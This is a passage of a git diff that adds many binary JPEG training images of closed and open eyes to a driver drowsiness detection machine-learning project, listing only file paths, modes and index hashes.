a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_691.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_691.jpg new file mode 100644 index 00000000..839a9ab7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_691.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_692.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_692.jpg new file mode 100644 index 00000000..c6e3e515 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_692.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_693.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_693.jpg new file mode 100644 index 00000000..8a574223 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_693.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_694.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_694.jpg new file mode 100644 index 00000000..40740013 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_694.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_695.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_695.jpg new file mode 100644 index 00000000..3604d4bc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_695.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_696.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_696.jpg new file mode 100644 index 00000000..c60ed441 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_696.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_697.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_697.jpg new file mode 100644 index 00000000..8af1ecc3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_697.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_698.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_698.jpg new file mode 100644 index 00000000..3f4d8f9a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_698.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_699.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_699.jpg new file mode 100644 index 00000000..3fc0a1c0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_699.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_70.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_70.jpg new file mode 100644 index 00000000..a1a7681d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_70.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_700.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_700.jpg new file mode 100644 index 00000000..f117b853 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_700.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_701.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_701.jpg new file mode 100644 index 00000000..4cba7bba Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_701.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_702.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_702.jpg new file mode 100644 index 00000000..78fd9925 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_702.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_703.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_703.jpg new file mode 100644 index 00000000..8d96edd3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_703.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_704.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_704.jpg new file mode 100644 index 00000000..f8b79324 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_704.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_705.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_705.jpg new file mode 100644 index 00000000..123c2423 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_705.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_706.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_706.jpg new file mode 100644 index 00000000..9f075108 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_706.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_707.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_707.jpg new file mode 100644 index 00000000..fef7dae1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_707.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_708.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_708.jpg new file mode 100644 index 00000000..828ad77e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_708.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_709.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_709.jpg new file mode 100644 index 00000000..faacdbf7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_709.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_71.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_71.jpg new file mode 100644 index 00000000..db1b4d57 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_71.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_711.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_711.jpg new file mode 100644 index 00000000..5da9b008 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_711.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_712.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_712.jpg new file mode 100644 index 00000000..3b941e8a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_712.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_713.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_713.jpg new file mode 100644 index 00000000..6c70e756 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_713.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_714.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_714.jpg new file mode 100644 index 00000000..fb93f53e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_714.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_715.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_715.jpg new file mode 100644 index 00000000..dba08f7f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_715.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_716.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_716.jpg new file mode 100644 index 00000000..4cad94a5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_716.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_717.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_717.jpg new file mode 100644 index 00000000..1c26cada Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_717.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_720.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_720.jpg new file mode 100644 index 00000000..0dd397df Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_720.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_721.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_721.jpg new file mode 100644 index 00000000..8cbb767f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_721.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_722.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_722.jpg new file mode 100644 index 00000000..eecf979a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_722.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_723.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_723.jpg new file mode 100644 index 00000000..d33dfca3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_723.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_724.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_724.jpg new file mode 100644 index 00000000..65c4c506 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_724.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_725.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_725.jpg new file mode 100644 index 00000000..15d50601 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_725.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_73.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_73.jpg new file mode 100644 index 00000000..dd2c5cf3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_73.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_74.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_74.jpg new file mode 100644 index 00000000..d7bf261a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_74.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_75.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_75.jpg new file mode 100644 index 00000000..1ae17130 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_75.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_78.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_78.jpg new file mode 100644 index 00000000..61846a36 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_78.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_79.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_79.jpg new file mode 100644 index 00000000..2d5d559b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_79.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_8.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_8.jpg new file mode 100644 index 00000000..28c1634f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_8.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_80.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_80.jpg new file mode 100644 index 00000000..c31e1cf9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_80.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_81.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_81.jpg new file mode 100644 index 00000000..157fe8d5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_81.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_82.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_82.jpg new file mode 100644 index 00000000..f9d96116 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_82.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_83.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_83.jpg new file mode 100644 index 00000000..642ff966 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_83.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_84.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_84.jpg new file mode 100644 index 00000000..a93dd156 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_84.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_85.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_85.jpg new file mode 100644 index 00000000..a291727b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_85.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_86.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_86.jpg new file mode 100644 index 00000000..c1128f1b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_86.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_87.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_87.jpg new file mode 100644 index 00000000..5a59fe95 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_87.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_88.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_88.jpg new file mode 100644 index 00000000..a57ab672 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_88.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_89.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_89.jpg new file mode 100644 index 00000000..f7a148cd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_89.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_9.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_9.jpg new file mode 100644 index 00000000..1a292357 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_9.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_90.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_90.jpg new file mode 100644 index 00000000..22103cef Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_90.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_91.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_91.jpg new file mode 100644 index 00000000..79d7d542 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_91.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_92.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_92.jpg new file mode 100644 index 00000000..5739f9dd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_92.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_93.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_93.jpg new file mode 100644 index 00000000..826a2b89 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_93.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_94.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_94.jpg new file mode 100644 index 00000000..edde2355 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_94.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_97.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_97.jpg new file mode 100644 index 00000000..7e30595e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_97.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_98.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_98.jpg new file mode 100644 index 00000000..d6155869 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_98.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_99.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_99.jpg new file mode 100644 index 00000000..b0e7f713 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_99.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_0.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_0.jpg new file mode 100644 index 00000000..205eabae Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_0.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_1.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_1.jpg new file mode 100644 index 00000000..a6954d61 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_1.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_10.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_10.jpg new file mode 100644 index 00000000..ba572227 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_10.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_100.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_100.jpg new file mode 100644 index 00000000..b221b78e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_100.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_101.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_101.jpg new file mode 100644 index 00000000..22f14c32 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_101.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_102.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_102.jpg new file mode 100644 index 00000000..bac7c90c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_102.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_103.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_103.jpg new file mode 100644 index 00000000..21a06950 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_103.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_104.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_104.jpg new file mode 100644 index 00000000..64e44a49 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_104.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_105.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_105.jpg new file mode 100644 index 00000000..dc03fd50 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_105.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_106.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_106.jpg new file mode 100644 index 00000000..4f5182e2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_106.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_108.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_108.jpg new file mode 100644 index 00000000..e00d0f18 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_108.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_109.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_109.jpg new file mode 100644 index 00000000..2ca72b02 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_109.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_11.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_11.jpg new file mode 100644 index 00000000..29120cfd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_11.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_110.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_110.jpg new file mode 100644 index 00000000..b35b53d8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_110.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_111.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_111.jpg new file mode 100644 index 00000000..ab6be175 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_111.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_112.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_112.jpg new file mode 100644 index 00000000..34697c06 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_112.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_113.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_113.jpg new file mode 100644 index 00000000..40aa3b9d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_113.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_114.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_114.jpg new file mode 100644 index 00000000..780806f3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_114.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_117.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_117.jpg new file mode 100644 index 00000000..92773ce4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_117.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_118.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_118.jpg new file mode 100644 index 00000000..17012e6b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_118.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_119.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_119.jpg new file mode 100644 index 00000000..196379bc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_119.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_12.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_12.jpg new file mode 100644 index 00000000..37297dad Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_12.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_121.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_121.jpg new file mode 100644 index 00000000..35604591 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_121.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_122.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_122.jpg new file mode 100644 index 00000000..ac76642d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_122.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_123.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_123.jpg new file mode 100644 index 00000000..7de87087 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_123.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_124.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_124.jpg new file mode 100644 index 00000000..d87ad0a5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_124.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_125.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_125.jpg new file mode 100644 index 00000000..cf9e2b89 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_125.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_126.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_126.jpg new file mode 100644 index 00000000..cc991869 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_126.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_127.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_127.jpg new file mode 100644 index 00000000..da107cb3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_127.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_128.jpg 